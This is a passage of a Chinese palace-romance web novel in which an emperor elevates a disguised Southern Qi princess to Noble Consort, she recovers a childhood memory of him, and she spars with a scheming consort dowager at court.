见他到来,几人皆都一脸严肃的向他行礼,殿中肃敛的气氛,仿佛出了什么不得了的大事一般。 好在他已经做足了准备,一脸淡然的道了声平身,又向太后问安,“朕回来晚了,叫母后担心,只是不知几位爱卿这么晚还在此处,又是有何因由?” 却见太后道,“陛下乃一国之君,自登基以来,一向审慎沉稳,哀家本也没什么好担心的,只是今日封妃的旨意有些突然,这几位老臣有所不明,又见不着陛下的人,所以都到哀家这里来了。” 萧元彻哦了一声,便看向那几人,“难道传旨的人说的不够清楚?不知诸位爱卿有何不明之处?” 掌管皇家玉牒的宗伯卿萧伯渊乃是他的堂兄,此时便先开口道,“陛下的旨意说得很清楚,只是以那位许姑娘的出身,至多封为御女,宝林,就算陛下有意为其抬位份,也最多为才人,美人,抬到贵妃之位,着实有些不合祖制啊。” “要知道,我大周自建国以来,就算高祖皇帝,也至多为宫女出身的妃嫔抬过婕妤之位,再高者,可是断断没有的。” 话音才落,一旁的礼部侍郎也赶忙道,“主要许姑娘的出身实在太低,倘若将贵妃之名公之于众,只怕引来天下非议,还请陛下三思!” 萧元彻颔了颔首,又道,“那么,若封贵妃之位又有什么条件?” 就见宗伯卿忙道,“贵妃之位,需娘家功勋显赫,为家国立下汗马功劳,依照本朝礼法,非二品以上官员出身,或功勋世家不可。” 萧元彻嗯了一声,问道,“念贞那日在佛光殿救了朕,难道不算功勋?” “这……” 就见宗伯卿一噎,“可是,那时她本就是御前女官,以身护主,本就是职责所在……” 萧元彻却一笑道,“天下臣民,也包括你们诸位,也本就是朕的子民,为何没有想到以身护主?” 这…… 只见宗伯卿又是一噎,而后只得与礼部侍郎等人齐齐跪地道,“臣等无能,请陛下降罪。” 萧元彻却又道,“如果之事嫌她娘家不够显赫,朕封一个就好。她那日所为,也足够为娘家争一个功勋。” 话音落下,殿中已无人再敢说话。 还是太后开口道,“罢了,时候不早,陛下赶了一日的路,也是劳顿,你们都先退下吧。” 只见那几人如蒙大赦,立时行礼告退出了殿中。 太后叫人关上殿门,又对萧元彻道,“其实这几日,哀家本就在想要给念贞抬个位分, 但方才他们说的话也不无道理,要封她,可以先从低的位份开始,待她日后为陛下诞下血脉,再借功封赏也不迟。为何一上来就封了贵妃?” “方才宗伯卿等人的反应,陛下也看见了,今日这旨意还未散出去,便已经引得他们来求见哀家,待到册封旨公之于众,满朝文武还不知要作何反应。” 萧元彻却道,“母后误会了,其实朕无论做什么决定,素来都有人不满,此乃朝堂常态。 倘若顾虑他们,便什么事都做不了。更何况,朕如今封的是朕的枕边人,她称不称得上贵妃之位,朕最清楚。” “倘若没有她,或许今日,朕就不会站在您面前说话了。” 太后顿了顿,“可是……” “母后放心,” 萧元彻又道,“一个后宫的位份,动摇不了北周的根本,倘若有人借此闹事,正好可一并铲除,朕走到如今,总不该连个位分也给不了。” “时间不早,母后先休息,前朝还压了一堆事,朕先回去了。” 语罢便出了寿安宫。 身后,太后望着其身影,不由皱眉。 王嬷嬷忙上前安慰道,“陛下说的是,这么多年,这么难走 的路都走过来了,陛下从来不是冲动之人,封妃这样大的事,必定经过深思熟虑,娘娘就不必过于担心了。” 却见太后道,“你说,这贵妃的位子,该不会是那丫头自己讨的吧?” 王嬷嬷只能道,“奴婢不敢妄言,不过,先不说念贞从前在寿安宫里时表现如何,就算果真是她自己讨的,陛下又岂是那等耳根软的人?” 太后却依然满是愁绪,“哀家本想着帮他收了念贞,还再同他好好商量,把皇后的事定下来,舒月这孩子实在难得,倘若错过,哀家心间实在不甘。眼下这冷不丁的出了个贵妃,要让温家跟舒月如何想?” 虽是自己亲生的儿子,但这个犟劲,可是一点也不像她。 …… 离开寿安宫后,萧元彻又去御书房处理了几件紧急要事,等再回到寝宫时,明熙已经睡着了。 ——因着封妃的旨意是早上才在鹿州下的,加急送到宫中也已经是近晌午,此时延福宫还没收拾好;她本想回值房,但高寿几个又说不合规矩,无奈之下,只好先睡在萧元彻的龙榻上。 只是这龙榻虽大,但不够软,她又垫了几床被子才舒服了些。 正睡得香的时候,床帐忽被掀开,有人躺到了她的身侧,又在她脸上吻了一下。 明熙她睁了睁眼,就看见萧元彻的那张俊脸。 她懒洋洋的道了声陛下,本还打算要坐起,却听那人道,“不必了,天很晚,继续睡就好。” 明熙投以无语的表情,道,“那陛下把人家叫醒做什么?” 萧元彻,“……” 倒是他的不对了。 只好赶紧赔礼道,“是朕不好,见你睡得这般可爱,忍不住想要亲你。” ——天知道,他盼这一幕盼了多久? 如今心爱之人终于跨越山海,躺在了他的身侧。 说着,他又忍不住将她抱进怀中。 是香香软软的人儿,周身带着温热的芳香,立时就将方才国事带来的繁杂劳累给驱散了干净。 正打算就此抱她睡去,却见怀中的姑娘又睁眼看他道,“方才在寿安宫,太后是不是说什么了?” 萧元彻只道,“不过太后担心路上是否顺利,照惯问问罢了,没什么大事。” “真的?” 那姑娘却一脸不信的样子,挑着一双秀眉道,“陛下可不要骗臣妾。臣妾知道这事太突然,若是有什么难处,您可尽管收回成命,臣妾不会在意的。” 萧元彻也挑眉道,“旨意已经写好,礼部与尚宫局都也在准备,明早就要行册封礼,这成命可是断断收不回去了。” 说着又点了点她的鼻尖,道,“不是说过不需担心,还不相信朕?” 明熙只得嗯了一声,甚有些不走心的道,“臣妾只是怕陛下为难而已。” 哪知话音落下,却听那人又道,“来日方长,朕一定会给你想要的。” 她想要的? 明熙又不由挑眉,已经是贵妃了,还有什么她想要的? ……难不成这人还要封她当皇后? 这就有些异想天开了吧,她可只是个花农之女…… 正这么想着,忽然觉得身体之外某一处地方,有些不对…… 并无甚经验的她于是伸手摸了摸,却见萧元彻立时一颤,哑声唤她道,“阿真……” 明熙愣了愣,这才后知后觉的反应过来,忙撒手道,“我,臣妾不是故意的。” ——啧,虽说已经有过两回……但头一次远在四年前,且她已经几乎不记得当时情景,昨夜那次,又是她喝醉的情况下,不晓得……也是正常。 她可不是故意要撩拨他的…… 哪知误会已经造成,却见某人的一双眼眸忽然变得幽深起来,而后在某一刻,又忽然将她压在了身下。 …… “陛下……” 明熙一声惊呼,话还未说完,却尽数隐没在了他的吻中。 唔,昨夜因为醉酒错过的细节,今晚总算得以好好补上了。 ………… 第二日一早,待明熙从酣睡中醒来之际,萧元彻已经不在身边。 鉴于昨晚又是一夜的激流暗涌,她的腰身依然难免酸痛,颇有些费力的从床上爬起,便听殿外传来高寿的声音,“娘娘可是醒了?” 明熙哑着喉咙嗯了一声。 却听高寿又道,“陛下吩咐,今日有娘娘的册封礼,奴才安排了宫人伺候您更衣。” 册封礼? 明熙神志终于彻底回归,便应了声好。 正欲掀被下床,又惊觉自己不着一物,遂趁宫人们踏进房中之前,赶忙拉过被丢在床尾的寝衣先胡乱套在了身上,好将昨夜留在身上的痕迹给遮住。 咳,没想到平素看起来那版正经的人,竟然那样痴缠。 不过话说回来,他的身形跟体力,都的确很是不错…… 脑间正不由又浮现这昨夜帐中景象,高寿为她安排的侍女们却已经到了帐前,捧着衣物道,“奴婢们伺候娘娘更衣。” 明熙只好敛起神思,道,“我想先洗个澡。” 侍女们应是,赶忙去备水,又将她搀到浴房。 香汤温热,洗去昨夜的疲乏。待换上针工局赶制出来的礼服,戴上满头珠翠,一位华贵娇艳的贵妃已经出现在了众人面前。 行过册封礼后,依照礼制,她又去到了寿安宫,向太后及几位太妃见礼。 当着别人,太后倒也并未表现出对她不喜,只是宝相庄严的交代了她一些话,诸如要好好侍奉君王,尽快为萧元彻开枝散叶之类。 明熙也乖巧应是,待告退出来,回到已经为她准备好的延福宫,才终于松了口气。 萧元彻已经如约将赵怀调到延福宫中,此时趁着歇息之际,明熙忙挥退闲杂人等,关上门与赵怀说话。 “眼下我封了贵妃,洛州许家人少不得要惹人耳目,未准还要叫他们来京城,要赶紧通知凌雪他们准备。” 却见赵怀忙道,“您放心,昨儿消息才一传出来,凌雪就已经去安排了。此事关系重大,许家人也知道利害。” “那就好。” 明熙点了点头,又见赵怀一脸惊喜道,“说起来,您怎么忽然当上贵妃了?” 明熙,“……说来还是怪我自己不小心,喝多了马奶酒。” 马奶酒? 赵怀一愣,他只当是公主恢复了记忆,怎么又跟马奶酒扯上关系了? 正纳闷间,却见明熙又道,“眼下已经到了这一步,我怕是暂时难以回到阿衡身边,不过我昨日打探过那人的意思,关于退兵之事的关键,还是在那谢氏身上,若将那谢霁扬交出来,此事应该还有转机。” “所以,先将此意告知秦将军等人,想办法联合其他官员,务必要把谢霁扬那混账交给北周。” 这话一出,赵怀终于明白了些。 看来公主还是没有想起以前的事,只是“不小心”当上了贵妃而已。 好吧,听此言,公主应是暂且放弃了对周帝的刺杀计划,也算好事。 且这二人有了夫妻之实……应该能促使公主恢复记忆吧。 他于是赶忙应是,“等会奴才就去趟御膳房。” 话音落下,却见明熙又满是懊悔的叹道,“早知如此,我就不该去这趟鹿州,好好的喝什么酒!那仆妇还说她们把那酒当水喝,该不会是那人安排的吧!” 赵怀,“……” 好吧,虽未陪着公主前去,但闻此言,事情的经过也已经差不多猜了出来。 他们的小公主酒量依然不怎么好。 不过,这或许正是上天的安排呢? 思及此,他忙劝慰道,“您其实无需太过自责,事情到了这一步,未尝不是好事!看周帝如此宠爱与您,您何不将计就计?” 明熙尚有些不明 ,问道,“如何将计就计法?” 赵怀咳了咳,“有道是英雄难敌枕旁风,今后倘若有您在周帝面前维护咱们南齐的利益,再叫凌风他们联合几位大人在益都分解谢氏的根系,有朝一日,若能将谢霁扬那狗贼送来北周问罪,两国之间的纠葛,不就迎刃而解了吗?” “总之,只要周帝的心在您的身上,一切就有希望啊!” 话音落下,却见明熙道,“话虽这样说,可我难道一辈子都要被困在这宫中以色侍人?再说,那人对于家国大事看得还是很重的,就怕我有心祸乱朝政,可他并非昏君。” 赵怀道,“您这一下就当上了贵妃,不已经说明了什么吗。” 明熙,“……” 第34章 她竟然忘了他?!…… 好吧,这话的确叫明熙无言以对,毕竟她一上来就被封了贵妃,着实是闻所未闻之事。 不过赵怀说的也对,事情已经发展到这一步,只能且走且看了。 她便颔了颔首。 没等再说什么,却听门外又传来了胡尚宫的声音,“奴婢参见贵妃娘娘。” 二人只好止住谈话。 明熙道了声进,守门的宫女将殿门打开,就见胡尚宫领着一众宫女太监立在门外向她行礼,“恭贺娘娘高升,奴婢奉太后之命,择选宫人服侍娘娘日常起居。” 这宫中规矩严苛,各等级的妃嫔都要有相应的人手侍奉,今早在乾明宫服侍她起床的,还是高寿临时从别处调的人手,如今仪式过去,尚宫局也总算安排好了。 但见其中共有八名宫女,四个小太监,加上萧元彻特意调给她的赵怀,如今这延福宫一共有十三人供她差遣。 北周崇尚节俭,这个人数,相较于当年在建业,可是不能比的。 ——她自幼尚在宫中时,便有乳母,宫女,教养嬷嬷,随行宦官等不下四十人供差遣,待到出宫建府后,仅仅府中负责各处杂务的,便有百十余人,更不必提数千人的府卫了。 对了,她还曾有过几十位乐师,无不是风度翩翩,才貌双全的美男子。 …… 正所谓世事难料,谁能想到,她这个曾令无数风流才子抢破头争宠的南齐公主,如今也也要以美色侍奉他人,来换取荣华富贵了。 明熙只能压下心间唏嘘,向胡尚宫道谢,“多谢太后娘娘恩典,也有劳尚宫亲自带人过来。” 说着又对赵怀道,“去安排一下各人的活计吧。” 赵怀应是,便带着一众宫人去了院中各处。 说起来,胡尚宫称得上明熙的伯乐,明熙自然要专门向她道声谢。 现将人请到殿中,又拿了些银子给对方道,“这一路多亏有尚宫在旁提点相助,这是我的一点心意,尚宫且收着吧,往后还需你继续多多费心才是。” 胡尚宫向她谢恩道,“娘娘蕙质兰心,天资过人,本就是大贵之命,奴婢有幸遇见娘娘,不过做了分内之事,娘娘无需如此客气。且娘娘从前也在太后身边,自然也明白,太后娘娘是十分看重礼数之人,只要每日晨昏定省,时时前去陪娘娘说说话,自是只有好处,没有坏处。” 这便是在提醒她的意思了。 明熙忙颔首道谢,又听对方提醒道,“不过,这宫中人多眼杂,难免会有些别有用心之人,提防之心也不可无。娘娘聪慧,自然是明白的。” 明熙又点了点头,上回跟着萧元彻外出之后她便已经领叫过,自是不可能再叫旁人给她使绊子。 …… 送走了胡尚宫,眼看将到晌午,未等赵怀叫人去御膳房布膳,却见乾明宫的小林子到了明熙面前,道,“高公公叫小的来禀报贵妃娘娘,陛下一会儿要过来用午膳,还请早做准备。” 什么? 明熙一脸意外,那人平常不是忙得白日都出不了勤政殿的,今日怎么还有空来这延福宫吃饭? 倒是赵怀悄悄与她笑道,“这不正应了方才奴才所言?您在周帝心里的分量,非同一般。” 说着又问道,“不知晌午要准备些什么菜式?也好叫御膳房早做准备。” 明熙叹道,“想吃酱鸭与糖醋鱼了,却不知御膳房做得如何?” 赵怀点头,“做得如何,您尝尝不就知道了?就是不知乾明宫那位主子都喜欢些什么?” 明熙想都没想,便道,“他喜欢烧鹿肉,酱蹄膀,再备上一道炒鸡枞吧。” “得嘞。” 赵怀赶忙应是,立时差人去御膳房准备。 又不由在心间暗喜——虽然公主嘴上不说对周帝如何,但在乾明宫才呆了月余的时日,已经摸清了周帝的饮食喜好,足见还是有心的。 而眼看午膳备好,随着一声“陛下驾到”,萧元彻果然驾临延福宫中。 明熙起身去殿外相应,忍不住问道,“陛下今日不忙吗,怎么还有空过来?” 却见一身玄金龙袍的某人道,“忙是忙,但你今日乔迁,自然要过来看看。怎么样,这延福宫可还喜欢?” 其实明熙一早上都在忙着封妃仪式及去向太后见礼,还并未仔细打量这延福宫如何,但方才粗粗环顾过一遍,也晓得此处乃是这宫中最新且最大的宫殿之一,故而嘴上只能道,“自然是喜欢,多谢陛下赐居。” 话音落下,一旁的赵怀又赶忙提醒道,“御膳已经备好,还请陛下与娘娘移步。” 萧元彻嗯了一声,便牵着明熙的手,一并迈进了殿中。 眼看二人净过手后坐下,侍膳的宫人上前布菜,午膳便开始了。 高寿几个明显发现,今日君王的心情很是不错。 从前吃饭时从不言语的人,今日竟不住夸起了御厨—— “这鸡枞炒的甚是不错,火候很足。” “酱鸭吃起来也有些意思。” “糖醋鱼也可,香酥酸甜。” …… 说着还问明熙,“你觉得如何?还算适口吗?” ——其实这几道菜还是有些瑕疵的,譬如那糖醋鱼炸得过干了些,虽然酥脆,却失了鱼的鲜味,酱鸭又有些过甜了。 但她作为一个洛州来的乡下姑娘,本也不该吃出这些不足之处,因此只能违心笑道,“臣妾也很是喜欢。” 然话虽这样说,却不怎么动筷子。 萧元彻看在眼中,也并未勉强。 一阵过后,午膳用罢,依照惯例,日理万机的北周皇帝陛下也该回到御书房了。 哪晓得却见他道,“时候还早,不妨四处走走?” 明熙奇怪道,“陛下,今日国事不当紧吗?” 萧元彻却道,“再当今,散步的时间还是有的,对了,前几日不是尝着御花园里的杏子还不错,咱们再去摘几个吧。” 说着又拉她出了门。 临近初夏,御花园中草木愈发繁盛。 海棠犹似美人面,芙蓉又添一池娇。 二人边走边赏花,不多时,已经到了牡丹园后头的杏林中。 鼻尖已经传来浓郁的果香,明熙试着抬眼,就见树枝上果然缀满了金灿灿的果子,着实很是馋人。 只可惜她身量不够高,且近前矮枝上的杏子都已经被摘光,剩下的杏子都在高处,高到她根本摘不到。 “这么高,要怎么摘?” 明熙只能望杏兴叹。 却见萧元彻道,“看朕的。” 说着便开始挽衣袖撩袍角。 高寿察觉他要做什么,吓得连忙劝道,“陛下,使不得。不如还是叫奴才们去搬梯子来吧。” 然而萧元彻只道,“摘几个杏子而已,何须那么麻烦?” 说着眼看外袍收拾好,便攀住树干,几步就蹬了上去。 高寿几个将心提到了嗓子眼,想说叫他小心,又怕令他分神,只能手忙脚乱的去找木梯,以备不时之需。 就在众人忙碌之际,明熙抬眼望着树 上萧元彻的身影,忽然不由又恍惚起来—— 似乎曾有个少年郎,也如此为她登上过高树,却不是为了摘杏子,而是……摘风筝。 对,是风筝。 记忆中的画面愈发清晰起来。 那一年,南北两国关系有所缓和,甚至还曾特意选在两国交界处,南阳郡的一处草场上,举办了一次国君会晤。 她与哥哥随父皇同行,作为自幼生活在建业宫中的可怜虫,她从前甚少见到那样广阔的草场,那几日满是新鲜。 只是因着前一日,哥哥与她乘坐的羊车翻了,以至于哥哥的腿受了伤,不能再陪她,她于是自己出来放风筝。 原本放的好好的,哪知忽有一阵急风捣乱,将她的风筝挂在了树上,她急的直哭,宫人们也急着想办法,只可惜树太高,抬了最高的梯子来,还是难以够到那只精美的燕子风筝。 正在这时,有一年长她几岁的少年郎走了过来,手脚轻松的上到了枝头,帮她将风筝摘了下来。 她破涕为笑,还拿了最爱吃的梅子蜜饯送给对方表示谢意。 而对方也大方的带她骑自己的马,叫她足足高兴了一整天。 对,正是那日在鹿州马场时,她脑中忽然出现的画面。 当时,北周的宫人们都称那个为她牵马,告诉她别担心的少年郎,为“二皇子”。 而当时北周的二皇子,不正是……此时在树上的萧元彻? 明熙陷入震惊之中—— 原来……她与萧元彻,早已经见过面? …… “阿真,” 就在她呆愣之际,树上忽然传来了声音,明熙回神看去,只见萧元彻已经摘了一兜的杏子,在高高的树杈上问她道,“这些可够?” “够了。” 明熙忙点头道,“陛下快下来吧,要小心些。” 那人便应好,先几步下到矮些的树杈上,而后又轻轻一跃,便到了地面上。 那姿态,竟与当年为她摘风筝时毫无两样。 真的是他。 还有,那时初到寿安宫时做的那个梦,原来也并不是梦。 那个在她与哥哥的羊车翻了之后,将她带离马蹄下的少年,原来也是他。 可她,竟然会忘了这件事…… 此时见萧元彻平安落地,高寿几个总算将心放回了嗓子眼,赶紧上前接过他兜里的杏子。 萧元彻却留下一只,仔细扒好了皮后,递给明熙道,“才摘下来的,尝尝看甜不甜?” 明熙接过,试着咬了一口,立时眼睛一亮,“真的甜,竟然比那日的还要甜!” 萧元彻笑道,“长在枝头上的,日日得见阳光,自然要更甜些。” 语罢又从高寿那里拿了一只,还要给她剥皮。 明熙看在眼中,忙道,“臣妾吃这一只就够了,陛下自己也尝尝吧。” 哪晓得他道,“你方才饭吃得少,多吃几个杏子也无妨。再说,朕对此物不服,一吃身上便会生疹。” 什么?他对杏子不服? 明熙立时奇怪起来,“那那日陛下怎么带了杏子去给臣妾吃?不是说是宫人特意摘了送给您的吗?” 呃…… 萧元彻顿了顿,却见高寿在旁笑道,“那是陛下晓得娘娘爱吃,特意叫人摘了,专门拿去给娘娘的。” 这样吗? 明熙愣了愣,而后愈发不解起来,“那陛下怎么又晓得臣妾不爱吃杏子皮?您那时分明说过,您自己也不爱吃的。” 这个么…… 原谅高寿也答不上来了,只能看向萧元彻。 却见萧元彻道,“朕是觉得,杏子皮上有毛,吃起来定然粗糙,你必定也不喜欢吃,所以不若剥了皮给你为好。” “原来如此。” 明熙这才点了点头,却依然皱着眉头。 她还是觉得哪里有些不对。 却又一时想不出,只好暂且先把手里的杏子吃完。 不得不说,这杏子是真甜! 正在此时,却见身旁跟着的赵怀开口道,“眼看日头越来越大,二位贵人当心受热,不如还是先回去歇息吧。” ——咳,旁人不知道,赵怀可是知道的。 周帝之所以知晓公主吃杏子的习惯,还不是因为当年曾在建业时相伴的那段时光? 他们的公主天生娇贵,且不说桃,杏,梨这类水果不肯吃皮,就连豆腐的外皮也从来不吃…… 不过,公主殿下可聪明着呢,眼看再说下去,只怕周帝要圆不回来,他只能如此相助了。 话音落下,明熙也点头道,“出来的时候是不短了,陛下还是先回去,勿要耽误正事的好。臣妾看这杏子如此好吃,又是陛下亲手摘的,不妨也回去洗好,给太后娘娘送些过去尝尝。” ——归功于胡尚宫的提醒,又有此前的经验,今日萧元彻亲自给她上树摘杏子,落到旁人口中还不知要被说成什么。 与其叫太后从别人那里听了后生气,还不如她主动上前禀报的好。 正好也借花献佛,讨个欢心。 萧元彻也颔首,“也罢,那就先回去吧。” 如此,一行人便往回走。 若是论起距离,乾明宫离此地还要近些,萧元彻却坚持把明熙及杏子先送回延福宫。 只是,未等走到地方,众人的视线中却出现了一人,远远的就向萧元彻行起礼来。 “臣弟参见陛下。” 却是那惠王萧元任。 萧元彻悠悠走到近前,道,“你怎么在此?” 却见萧元任道,“臣弟重又写了一份关于南下之事的卷宗,特交由皇兄过目。” 闻言,明熙不由暗自挑眉—— 这几日,萧元任可着实被南下之事搅得不行。 前几日被密信检举后,为表清白,他叫府里的长史连夜交了一份行程账目,原打算应付过都察院了事,哪知却又被查出几处与总账不符,情急之下只得又亲自重写。 要知道,他南下共花了近四个月的时间,每一日都需仔细交代,可不是件轻省的活计。 这不,其一张白脸上明眼可见的两只黑眼圈,足可以称得上形容憔悴。 这当然并非那几个外室的功劳,毕竟那些个外室,早已经被惠王妃给发卖了。 呵,这就是给她找不痛快的下场。 明熙心间冷笑几声,却见萧元彻道,“叫人拿去都察院吧,朕这几日忙,暂且没工夫看。” 就见萧元任应了声是,又对二人道,“今早才听说封妃一事,还未恭喜皇兄,恭喜贵妃。” 明熙颔了颔下巴,以示还礼,萧元彻也嗯了一声道,“朕还有些事,你先退下吧。” 说着便牵着明熙,继续往延福宫走。 萧元任只得躬身行礼,待二人走远,方站直身子,往宫门外走去,双眼愈发阴沉起来—— 他不会看错,那女子做华服打扮后,跟建业的那副画就更像了。 这个女子,一定有鬼。 …… 待快步来到宫门外,上了自家马车后,萧元任立时与随从低声叮嘱起来。 第35章 吃醋 一来一回的摘了兜杏子,算算时间,寿安宫里的太后也该午睡起来了。 待回到延福宫后,明熙立时挑了一碟品相好的杏子清洗干净,亲自提上去了寿安宫。 没想到来的倒是巧,此时的寿安宫中,除过来给太后请安的玉容公主,淑太妃也在。 要知道,淑太妃虽是寿安宫的常客,但从前都是上午过来,这个时辰在此瞧见她,直叫人心间不免要多想。 明熙也不做耽搁,待向太后行过礼,便径直道,“今晌午陛下在延福宫用过午膳,听说御花园的杏子熟了,便亲自去摘了些,特意叫臣妾给太后送来。” 话音才落,却听小公主萧玉容笑道,“方才正听淑太妃说起此事,贵妃就把杏子送来了,可真是快。” 就见淑太妃面上微微顿了顿,似有些尴尬。 明熙则是心间嗤笑,她果然没有猜错,这长舌妇来此定然没什么好事。 也幸亏她来得快,不然经这长舌妇一搅合,太后不知又要怎么想了。话说回来,这淑太妃莫不是派了人跟踪她与萧元彻?怎的消息竟然这样快! “臣妾原是怕打扰太后娘娘歇晌,特地在延福宫里将杏子清洗干净了才来,没想到还是晚了些。” 明熙笑着看向淑太妃,“原来淑太妃也未歇晌,都怪我方才一心帮着陛下摘杏子,竟没发现您也在那附近?” 这叫淑太妃愈发尴尬起来,忙道,“贵妃客气了,我也不过今日吃多了些,原是消食随便走走的,眼见二位摘的认真,便也未上前打扰,这不 又来扰太后娘娘了。” “总归来的正好,都一起尝尝吧。” 太后终于开了口,“看看陛下亲自摘的这杏子甜不甜?” 说着便叫碧书将杏子拿下去切好,又分与众人来尝。 杏子本就香甜,又是君王亲自摘的,殿中不出意外的一片夸赞声。 小丫头玉容一连吃了三个,待吃完,又同明熙道,“贵妃来的正好,下个月便是母后寿辰了,我与舒月姐姐想绘一本百芳谱送给母后,只是眼看才选了七十几种花便已经枯竭,不知还有些什么花?贵妃知道的花多,可否帮我们想想?” 明熙这才晓得,那日看见温舒月与萧玉容拿着画来这寿安宫是做什么的。 她道,“我从前倒是的确看过一本芳谱,有许多中原少见的花种,待我回去想想,整理好后拿给公主。” 萧玉容点了点头,又不由拿起一只杏子来吃。 却听淑太妃道,“从前倒没听说过宫里有芳谱,不知贵妃是在哪里看过的?” 明熙道,“从前家父在南诏国种花,归乡时曾带了一本芳谱回家。” 哪知话音落下,那长舌妇又哦了一声,道,“听说贵妃娘家以种花为生,竟也请了先生叫贵妃认字?真是难得。” 这话一出,殿中众人都面露疑惑起来。 说的是啊,谁不知念书要交束脩,这对于普通百姓来说可是笔不小的开支。故而天下间大多只有男子才念得起书,她一个花农的女儿,又是如何识字的? 明熙只淡淡一笑道,“家兄幼时读书,每每学了新字,便回来教我学一遍,久而久之,我也认识了不少字,虽然学问不多,但简单的书文还是认得的。” 原来如此。 太后目中露出些许赞许之意,虽说她出身实在不高,但能舍得叫子女去读书,想来也是明事理的家庭。 却听淑太妃又道,“说起来,不知喜讯可传到洛州了?贵妃的家人若是听说,也该高兴了。想他们辛苦了大半辈子,今后借了贵妃的光,也不用再受苦了。” 话音落下,殿中众人无不一顿,就连正吃杏子的萧玉容也停下手来,紧张的看了看明熙。 ——她虽然年纪不大,也能听得出来,淑太妃这话,分明是在笑话贵妃的出身。 明熙却只笑道,“多谢太妃关心,陛下确已派人去洛州报喜。我父母乃乡间平民,自我入宫以来,只担心我当不好差事犯错,给贵人们惹麻烦,而今知道这个消息,应该会放些心。” 这话并未叫淑太妃找到错处,只好跟着点头道,“令尊令堂都是明理之人。” 哪知话音才落,却见胡尚宫入了殿中,对太后道,“启禀太后娘娘,方才乾明宫来信,因朝中大臣们纷纷奏请封赏贵妃父母教养之功,陛下便顺应臣民之意,封贵妃的父亲为平阴县侯。” 这话一出,殿中皆是一片意外。 虽说早知贵妃的娘家因她而沾光,但一下便封了县侯,足见君王手笔阔绰。 倒是太后一脸淡定的颔首道,“这也是应该的,贵妃那日以身护主,足见自幼受父母熏陶,深明大义,陛下此举,即为顺应民意,又为教化百姓,愿今后我大周子民,皆能忠君明理。” 众人纷纷跟着附和。 明熙则默默在心间感慨,太后也是不易,就算并不赞同儿子的旨意,也还是得为了维护儿子的面子硬将她夸一顿。 对于这个消息,她虽也是意外,却也在情理之中,毕竟她如今已是这北周的贵妃,就算为了皇家的面子,许家父母也不可能再待在洛州那等偏远的地方种花了。 等会儿回去,要赶紧与赵怀商量一下后续安排才是。 她向太后道了声谢,便琢磨着适时告辞,哪晓得那淑太妃却如狗皮膏药一般,又黏上来道,“贵妃的父母着实有福,生出贵妃这样的女儿,一举得了县侯,着实叫祖上有光,这段佳话传出去,天下百姓皆要不重生男重生女了。” 明熙简直要皱眉。 什么,这长舌妇居然还嘲笑她?怕不是忘了自己是怎么上位的! 宫里人谁不知道,这淑太妃当年也不过是个七品小官之女,原本入宫后在先太后,既萧元彻的祖母宫中做女官,结果女官没做几日,便暗中跟先皇搞到了一起,直到怀孕了才封上个才人,生了萧元任这个皇子后,又封了昭容。 因她出身不高,连带着萧元任也不怎么受重视,直到后头一连多年,宫中的皇子接连夭折,致使长成年的也不过就三个皇子,先帝为了给萧元任抬身份,才把她这个生母封了妃位。 呵,一个靠着给狗男人生儿子换位分的女人,又有什么脸说她? 她怎么说,靠的也还是美貌与智慧,对方靠的也就是一时的运气而已。 明熙忍无可忍,终于道,“淑太妃言重了,其实也要多谢家中父母自幼教我本事,教我做人的道理,才叫有幸进宫为太后养花,又有幸得到太后信任去侍奉陛下,那日为陛下挡刀,不过是义不容辞的职责,没想到太后与陛下厚爱,竟然如此厚待我,教我十分惶恐。” “今后,我定然谨记太后教诲,当然。也该以淑太妃为榜样,做好分内之事,时时谦虚谨慎,不忘出身与本心。” 话音落下,就见淑太妃一噎。 什么叫“不忘出身”? 这丫头是在笑话她出身低吗? 然而没等说什么,却见太后与明熙笑道,“你能有此心就好,今日也沾沾淑太妃的福分,早点给哀家生个皇孙出来。” 明熙娇羞垂首应是,淑太妃却又是一噎—— 太后也莫不是也在嘲笑她?到底是在说皇孙,还是暗中映射她当年怀孕之事? 谁料没容她再说话,太后又道,“哀家该去佛堂了,你们都自便吧。” 说着又特别嘱咐萧玉容,“仔细照顾你母妃,若明日症状还不见轻,就叫张太医去看看。” 萧玉容应了声是,又道,“母后,儿臣可以带几只杏子回去给母妃尝尝吗?” 太后笑道,“全拿去也无妨,倘若你母妃不能吃,你吃了便是。” 明熙这才晓得静太妃病了,怪道今早过来行礼时看见其脸色不太好,人也消瘦了许多。 几人出了寿安宫,没沾上便宜反而惹了一身骚的淑太妃不太高兴的上轿先走了,却见玉容对明熙道,“我前日回去后便问了母妃祛疤膏的方子,只是母妃这几日一直病着,怕过病气给贵妃,才没能给贵妃送过来。” 原以为前几日随意说说的话,没想到小姑娘一直记着,明熙便道,“有劳公主跟静太妃费心,其实这几日用了陛下跟温姑娘给的去疤霜,先前受伤的地方已经好多了,公主莫要放在心上,先照顾静太妃康复吧。” ——咳,确切来说,是萧元彻给的那罐去疤霜效果更好些,虽然不好闻不好看,但用过之后,她的伤疤已经几乎看不出来了。 听她这样说,小姑娘也放了心,便与她作别,各自回到宫中。 待踏进延福宫的正殿,明熙忙支开闲杂人等,对赵怀道,“方才周帝封了许家父母平阴县侯,料想他们不日便要来上京谢恩,要赶紧叫凌雪安排,以免到时出错。” 赵怀忙应是,又安慰她道,“这是难免的事,事到如今,您与许家已经绑到了一起,那夫妇也不是 愚钝之人,必定也会小心的。不过待他们来到上京,正可以叫凌雪与他们碰面,未准往后行事还会方便一些。” 不错,事到如今,只能走一步算一步了。 明熙点了点头,又对赵怀道,“对了,我方才在摘杏子时忽然想起一事,原来我同萧元彻曾经见过面。” 什么? 这话一出,赵怀只当她恢复了记忆,忙惊喜道,“您想起来了?” 明熙却是一愣,“你也想起来了?那你为何没有早提醒我?” 赵怀道,“这……奴才原本也不知您二位的渊源,否则,又何须这么麻烦?” “什么麻烦?” 明熙道,“那都已经是十多年前的事,很明显,他也已经将我忘了。” 什么,十多年前的事? 赵怀又是一愣,这才发觉不对,忙又道,“您指的是……” 却见明熙道,“还能是什么,不就那次我与哥哥随父皇去南阳郡的时候?那时把我从马蹄下救出来,后来又帮我宅风筝的人,原来就是他!我记得当时这边的宫人都唤他二皇子,应当不会有错的。” 赵怀,“……” 原来是这一桩,他还以为…… “难道除过那次,我还同他在别处见过?你指的渊源是什么?”却见明熙又奇怪看他。 那一刻,赵怀几乎就要将后来建业之事和盘托出。 但须知那御医曾叮嘱过,此事只能叫公主自己想起来,否则一旦主动告知,极有可能会令公主记忆错乱,甚至引发癔症。 因此,他只能努力忍下,道,“奴才还以为当年他在建业时,您与他见过……” “那必定是不可能的。” 明熙一口否定,“他身在质子馆中,我岂会私自去见他?” 